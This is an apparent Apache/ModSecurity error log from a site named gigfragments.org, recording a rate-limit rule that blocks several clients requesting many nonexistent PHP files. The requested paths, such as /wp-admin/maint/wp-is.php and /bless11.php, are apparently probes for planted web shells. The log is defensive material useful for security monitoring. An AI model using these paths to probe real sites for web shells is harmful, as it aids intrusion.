[Mon Apr 06 18:41:48.963964 2026] [:error] [pid 10280:tid 10300] [client 51.120.80.210:44850] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON7F8QUJkf8g-BFfPIZgAAAdE"]
[Mon Apr 06 18:41:48.995761 2026] [:error] [pid 38562:tid 38585] [client 51.103.121.89:49334] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON7KeD6Ohe6wzRuy5kuAAAAVQ"]
[Mon Apr 06 18:41:50.013845 2026] [:error] [pid 35687:tid 35738] [client 172.213.138.9:50780] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adON7p3LtDozV0i8BitZUAAAAE8"]
[Mon Apr 06 18:41:50.049101 2026] [:error] [pid 10280:tid 10290] [client 51.103.121.89:38634] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "adON7l8QUJkf8g-BFfPIawAAAcc"]
[Mon Apr 06 18:41:50.058918 2026] [:error] [pid 10280:tid 10291] [client 51.120.80.210:5743] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON7l8QUJkf8g-BFfPIbAAAAcg"]
[Mon Apr 06 18:41:50.760915 2026] [:error] [pid 10280:tid 10295] [client 51.103.121.89:45579] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON7l8QUJkf8g-BFfPIbgAAAcw"]
[Mon Apr 06 18:41:51.215320 2026] [:error] [pid 10280:tid 10306] [client 172.213.138.9:5478] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adON718QUJkf8g-BFfPIcgAAAdc"]
[Mon Apr 06 18:41:51.402265 2026] [:error] [pid 38562:tid 38565] [client 51.103.121.89:41139] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON76eD6Ohe6wzRuy5kvAAAAUA"]
[Mon Apr 06 18:41:51.770811 2026] [:error] [pid 10280:tid 10283] [client 51.120.80.210:54665] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON718QUJkf8g-BFfPIcwAAAcA"]
[Mon Apr 06 18:41:52.082099 2026] [:error] [pid 10280:tid 10293] [client 172.213.138.9:50569] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adON8F8QUJkf8g-BFfPIdAAAAco"]
[Mon Apr 06 18:41:52.119643 2026] [:error] [pid 10280:tid 10295] [client 51.103.121.89:41127] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON8F8QUJkf8g-BFfPIdQAAAcw"]
[Mon Apr 06 18:41:52.800907 2026] [:error] [pid 10280:tid 10306] [client 51.103.121.89:39440] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r4f_1.php"] [unique_id "adON8F8QUJkf8g-BFfPIfwAAAdc"]
[Mon Apr 06 18:41:52.814716 2026] [:error] [pid 35686:tid 35715] [client 51.120.80.210:44848] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON8MMKdea6oORd2fzCPQAAABM"]
[Mon Apr 06 18:41:53.197538 2026] [:error] [pid 10280:tid 10291] [client 172.213.138.9:40831] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adON8V8QUJkf8g-BFfPIgQAAAcg"]
[Mon Apr 06 18:41:53.461194 2026] [:error] [pid 38562:tid 38589] [client 51.120.80.210:36671] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON8aeD6Ohe6wzRuy5kwQAAAVg"]
[Mon Apr 06 18:41:54.239271 2026] [:error] [pid 38562:tid 38581] [client 51.103.121.89:49697] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON8qeD6Ohe6wzRuy5kxgAAAVA"]
[Mon Apr 06 18:41:54.273278 2026] [:error] [pid 38562:tid 38587] [client 172.213.138.9:48857] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adON8qeD6Ohe6wzRuy5kyAAAAVY"]
[Mon Apr 06 18:41:54.669158 2026] [:error] [pid 10280:tid 10283] [client 51.120.80.210:51232] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON8l8QUJkf8g-BFfPIhQAAAcA"]
[Mon Apr 06 18:41:55.853556 2026] [:error] [pid 38562:tid 38581] [client 51.103.121.89:49299] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON86eD6Ohe6wzRuy5k0QAAAVA"]
[Mon Apr 06 18:41:56.559489 2026] [:error] [pid 10280:tid 10301] [client 172.213.138.9:5302] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "adON9F8QUJkf8g-BFfPIjAAAAdI"]
[Mon Apr 06 18:41:56.595367 2026] [:error] [pid 10280:tid 10283] [client 51.120.80.210:47808] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON9F8QUJkf8g-BFfPIjQAAAcA"]
[Mon Apr 06 18:41:58.524808 2026] [:error] [pid 35687:tid 35748] [client 51.103.121.89:44090] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON9p3LtDozV0i8BitZWgAAAFg"]
[Mon Apr 06 18:41:59.855773 2026] [:error] [pid 35688:tid 35770] [client 51.120.80.210:5403] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON9-Z85qg4jLsRpQxreAAAAJQ"]
[Mon Apr 06 18:42:01.905587 2026] [:error] [pid 10280:tid 10288] [client 172.213.138.9:5629] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "adON-V8QUJkf8g-BFfPIrQAAAcU"]
[Mon Apr 06 18:42:01.998122 2026] [:error] [pid 10280:tid 10292] [client 51.103.121.89:33936] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "adON-V8QUJkf8g-BFfPIrgAAAck"]
[Mon Apr 06 18:42:02.052761 2026] [:error] [pid 10280:tid 10285] [client 51.120.80.210:50315] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON-l8QUJkf8g-BFfPIsAAAAcI"]
[Mon Apr 06 18:42:03.819161 2026] [:error] [pid 10280:tid 10285] [client 51.103.121.89:38976] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON-18QUJkf8g-BFfPItwAAAcI"]
[Mon Apr 06 18:42:04.057900 2026] [:error] [pid 35688:tid 35751] [client 51.120.80.210:52006] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON_OZ85qg4jLsRpQxrkgAAAIE"]
[Mon Apr 06 18:42:05.024404 2026] [:error] [pid 35686:tid 35701] [client 51.103.121.89:37754] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON_cMKdea6oORd2fzCQwAAAAU"]
[Mon Apr 06 18:42:05.372937 2026] [:error] [pid 9413:tid 9425] [client 51.120.80.210:50367] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON_XllvEK3chn01wG1vAAAAYo"]
[Mon Apr 06 18:42:06.367693 2026] [:error] [pid 35688:tid 35758] [client 51.120.80.210:50337] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adON_uZ85qg4jLsRpQxrmwAAAIg"]
[Mon Apr 06 18:42:06.631347 2026] [:error] [pid 35688:tid 35766] [client 51.103.121.89:36406] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON_uZ85qg4jLsRpQxrnwAAAJA"]
[Mon Apr 06 18:42:07.545897 2026] [:error] [pid 9442:tid 9460] [client 51.120.80.210:47792] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adON_0PsNnAJTnmz6sZ_WAAAARA"]
[Mon Apr 06 18:42:07.950090 2026] [:error] [pid 38562:tid 38567] [client 51.103.121.89:36365] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "adON_6eD6Ohe6wzRuy5k5gAAAUI"]
[Mon Apr 06 18:42:08.325062 2026] [:error] [pid 9442:tid 9465] [client 51.120.80.210:47826] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adOOAEPsNnAJTnmz6sZ_XgAAARU"]
[Mon Apr 06 18:42:09.119679 2026] [:error] [pid 35687:tid 35735] [client 51.120.80.210:50363] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adOOAZ3LtDozV0i8BitZagAAAEw"]
[Mon Apr 06 18:42:09.389370 2026] [:error] [pid 38562:tid 38575] [client 51.103.121.89:45242] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adOOAaeD6Ohe6wzRuy5k6QAAAUo"]
[Mon Apr 06 18:42:09.713124 2026] [:error] [pid 38562:tid 38580] [client 51.120.80.210:46696] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adOOAaeD6Ohe6wzRuy5k6gAAAU8"]
[Mon Apr 06 18:42:10.711844 2026] [:error] [pid 9442:tid 9465] [client 51.103.121.89:36919] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adOOAkPsNnAJTnmz6sZ_agAAARU"]
[Mon Apr 06 18:42:10.754431 2026] [:error] [pid 35786:tid 35806] [client 51.120.80.210:55066] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adOOAmgkfCKTaLhwaKQQ_wAAAM0"]
[Mon Apr 06 18:42:11.563788 2026] [:error] [pid 35688:tid 35773] [client 51.120.80.210:47830] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adOOA-Z85qg4jLsRpQxrzAAAAJc"]
[Mon Apr 06 18:42:11.883073 2026] [:error] [pid 35687:tid 35736] [client 51.103.121.89:39934] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adOOA53LtDozV0i8BitZcAAAAE0"]
[Mon Apr 06 18:42:12.256512 2026] [:error] [pid 35688:tid 35772] [client 51.120.80.210:50348] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adOOBOZ85qg4jLsRpQxr0gAAAJY"]
[Mon Apr 06 18:42:12.623024 2026] [:error] [pid 35688:tid 35768] [client 51.103.121.89:40779] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "adOOBOZ85qg4jLsRpQxr1AAAAJI"]
[Mon Apr 06 18:42:12.832806 2026] [:error] [pid 35688:tid 35770] [client 51.120.80.210:46675] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adOOBOZ85qg4jLsRpQxr1gAAAJQ"]
[Mon Apr 06 18:42:13.124608 2026] [:error] [pid 35688:tid 35767] [client 51.103.121.89:40756] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adOOBeZ85qg4jLsRpQxr2QAAAJE"]
[Mon Apr 06 18:42:13.535796 2026] [:error] [pid 35688:tid 35769] [client 51.120.80.210:47756] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adOOBeZ85qg4jLsRpQxr3gAAAJM"]
[Mon Apr 06 18:42:13.726799 2026] [:error] [pid 9442:tid 9447] [client 172.213.138.9:5205] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adOOBUPsNnAJTnmz6sZ_cAAAAQM"]
[Mon Apr 06 18:42:13.941249 2026] [:error] [pid 9442:tid 9455] [client 51.103.121.89:42303] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adOOBUPsNnAJTnmz6sZ_dQAAAQs"]
[Mon Apr 06 18:42:14.674771 2026] [:error] [pid 35686:tid 35700] [client 51.120.80.210:51161] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adOOBsMKdea6oORd2fzCRwAAAAQ"]
[Mon Apr 06 18:42:15.095725 2026] [:error] [pid 35688:tid 35761] [client 51.103.121.89:40413] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adOOB-Z85qg4jLsRpQxr5QAAAIs"]
[Mon Apr 06 18:42:15.635518 2026] [:error] [pid 35688:tid 35752] [client 51.120.80.210:36589] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adOOB-Z85qg4jLsRpQxr6QAAAII"]
[Mon Apr 06 18:42:15.812256 2026] [:error] [pid 35688:tid 35763] [client 51.103.121.89:40762] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "adOOB-Z85qg4jLsRpQxr7AAAAI0"]
[Mon Apr 06 18:42:16.554431 2026] [:error] [pid 35786:tid 35803] [client 51.120.80.210:5384] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "adOOCGgkfCKTaLhwaKQRAAAAAMo"]
[Mon Apr 06 18:42:17.083966 2026] [:error] [pid 10280:tid 10297] [client 51.103.121.89:41966] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adOOCV8QUJkf8g-BFfPIvwAAAc4"]
[Mon Apr 06 18:42:17.943448 2026] [:error] [pid 9442:tid 9466] [client 51.103.121.89:40706] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adOOCUPsNnAJTnmz6sZ_gAAAARY"]
[Mon Apr 06 18:42:18.711642 2026] [:error] [pid 35688:tid 35768] [client 51.103.121.89:48962] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adOOCuZ85qg4jLsRpQxr-wAAAJI"]
